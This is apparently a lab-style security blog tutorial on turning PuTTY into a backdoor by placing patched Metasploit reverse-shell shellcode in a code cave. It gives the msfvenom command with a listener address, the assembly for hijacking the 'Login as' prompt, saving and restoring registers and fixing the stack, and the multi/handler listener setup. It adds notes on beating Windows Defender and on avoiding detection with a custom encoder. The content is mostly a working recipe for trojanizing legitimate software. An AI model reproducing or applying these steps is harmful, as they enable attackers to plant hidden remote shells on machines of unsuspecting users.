{{tag>IT-Security Windows backdoor shellcode blog deutsch english}} ====== Backdoor development with Code Caves ====== {{:it-security:blog:bd-putty-header.webp?400|}} In this lab, we will inject a Metasploit shellcode into the Putty program, which will be executed at a specific point. To achieve this, we will use memory within ''%%putty.exe%%'' that is unused in the resources (so-called code caves). ===== 1.0 Introduction ===== The following steps will be executed: * Identify the code cave * Change the access rights of the resources * Develop a custom payload * Generate the payload * Identify and hijack the function * Redirect the code flow * Test the backdoor ===== 2.0 Code Caves ===== > A **code cave** is a series of unused bytes in a [[https://en.wikipedia.org/wiki/Process_(computing)|process]]'s memory. The code cave inside a process's memory is often a reference to a section that has capacity for injecting custom instructions.((https://en.wikipedia.org/wiki/Code_cave )) ==== 2.1 Finding code caves with Cminer ==== Now, let's search for free bytes in our putty.exe. For this, we use [[https://github.com/EgeBalci/Cminer|Cminer]]: ┌──(kali㉿hfc84)-[~/tools/develop/Cminer] └─$ ./Cminer ~/tmp/PUTTY.EXE [#] Cave 2 [*] Section: .rsrc [*] Cave Size: 4027 byte. [*] Start Address: 0x80005654 [*] End Address: 0x8000660f [*] File Ofset: 0xd4855 ==== 2.2 Prepare the cave ==== We have to modify the resource permissions of ''%%.rsrc%%'' to execute our payload: - Open [[https://ntcore.com/explorer-suite/|CFF Explorer]] - ''%%Section Headers%%'' - ''%%.rsrc%%'' - Set section flags to RWX and Code - Save the file {{it-security:blog:bd-putty-3.png?800}} ===== 3.0 Payload ===== ==== 3.1 Reverse shell analysis ==== Metasploit shells typically reference the Windows function ''%%WaitForSingleObject%%'' with the argument 'INFINITE' or ''%%0xFFFFFFFFFFFFFFFF%%''. This ensures that the shellcode runs to completion. However, in our specific use case, this is disadvantageous because Putty would become unresponsive. To prevent this, we need to set the argument to ''%%0x00%%''. We can achieve this easily by changing ''%%dec rdx%%'' to ''%%nop%%''. {{it-security:blog:bd-putty-1.png?800}} {{it-security:blog:bd-putty-2.png?800}} Additionally, we can change the last instruction ''%%call rbp%%'' to ''%%nop%%'' or, alternatively, overwrite the instruction later in the debugger. pop rcx mov r10d,ebx call rbp -> pop rcx mov r10d,ebx nop nop ==== 3.2 Custom payload ==== Since Metasploit shellcodes are encoded and I don't want to manually apply the change every time, I debug the raw shellcode from the file ''%%modules/payloads/singles/windows/x64/shell_reverse_tcp%%'' and modify the affected bytes. I then save the file as ''%%custom_shell_reverse_tcp%%'' in the same directory. ==== 3.3 Create payload ==== Now, let's generate our shellcode: msfvenom -p windows/x64/custom_shell_reverse_tcp LHOST=172.18.75.2 LPORT=6699 -b x00 -f raw -o shell_reverse_tcp64.bin ===== 4.0 Code Hijacking ===== Let's start the disassembler! We should initiate a [[Backdooring#5.1 Metasploit listener|Metasploit listener]] for testing purposes. ==== 4.1 Information gathering ==== The following information is necessary for the next steps: * Cave file offset * Cave Address * Address of function to hijack * Address of the following instruction Cminer has already provided us with the file offset: ''%%0xd4855%%'' We now go to the offset and note down the address: ''%%0x7FF79ACBE655%%'' In the next step, we need a function that we can hijack. Putty prompts for credentials after a successful connection. This is where we can intervene, as EDRs (Endpoint Detection and Response systems) are less likely to detect whether it’s a legitimate action or not. To do this, we search for the string reference for ''%%Login as%%''. {{it-security:blog:bd-putty-9.png?800}} Ok, we have everything, we need. It is time to hijack! ==== 4.2 Function Hijacking ==== We write down the instruction, for later use and change it to a ''%%jmp%%'' instruction. The target is our Code Cave address. 0x7FF764C3393B | lea rcx,qword ptr ds:[7FF764CBC83F] ; change to -> jmp putty_a.7FF764CDE655 nop nop After manipulating the function, we change to the Code Cave Address. ==== 4.3 Register PUSHing ==== Since we need to restore the registers to their original values after executing the shellcode, we save it on the stack: push rax push rbx push rcx push rdx push rbp push rsi push rdi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 ==== 4.4 Shellcode ==== Now, let's open the generated shellcode in a hex editor. Then, we copy the bytes and paste them right after the ''%%push%%'' instructions. {{it-security:blog:bd-putty-4.png?800}} {{it-security:blog:bd-putty-8.png?800}} ==== 4.5 Stack Frame clean up ==== We need to take a closer look at the stack pointer and set two breakpoints: one before the first instruction of the shellcode and one before the last instruction (if we still want to overwrite it). push rcx ... push r15 cld ; Breakpoint - RSP -> 9E4D2FF9C8 ... call rbp ; Breakpoint - RSP -> 9E4D2FF8C8 This is important because the stack pointer was modified by the shellcode. So, we calculate the difference between the two ''%%rsp%%'' values and clean up the stack pointer by adding this difference. $9E4D2FF9C8 - 9E4D2FF8C8 = 100$ Replace ''%%call rbp%%'' (EXITFUNC) with the calculated value. add rsp, 0x100 ==== 4.6 Register POPing ==== To restore our registers, we use the ''%%pop%%'' instruction in reverse order. **Important**: don't restore ''%%rsp%%'', because we've corrected it in the previous step. pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rdi pop rsi nop ; don't overwrite your cleaned up stack :-) pop rbp pop rdx pop rcx pop rbx pop rax ==== 4.7 Restore hijacked function ==== To redirect the code flow back in the correct direction, we replicate the overwritten function. Then, we jump behind our hijacked function. As long as all registers have been correctly restored, this will succeed without generating an error. lea rcx,qword ptr ds:[7FF764CBC83F] ; rebuild hijacked function jmp putty_a.7FF764C33942 ; jump back ==== 4.8 Save the binary ==== If everything works, we can save the patched ''%%putty.exe%%'' ===== 5.0 Run the backdoor ===== ==== 5.1 Metasploit listener ==== We run a Metasploit listener, to catch the connection: use exploit/multi/handler set lhost 0.0.0.0 set lport 6699 run [*] Started reverse TCP handler on 0.0.0.0:6699 ==== 5.2 Start the backdoor ==== - Run the backdoor - Enter connection details - klick ''%%OK%%'' - Magic! {{it-security:blog:bd-putty-6.png?800}} {{it-security:blog:bd-putty-7.png?800}} ==== 5.3 Windows Defender reaction ==== Windows Defender takes about 30 seconds to detect that something is wrong with this process. During this time, the shell is already connected. Although Putty is terminated, the shell is not. Thus, despite having Windows Defender enabled, we were able to establish a reverse shell, which can be used for further actions. To prevent detection, we could use a custom encoder. ===== References ===== * [[https://www.ired.team/offensive-security/code-injection-process-injection/backdooring-portable-executables-pe-with-shellcode|ired team]] * [[https://pentest.blog/art-of-anti-detection-2-pe-backdoor-manufacturing/|pentest blog]] ---- ~~DISCUSSION~~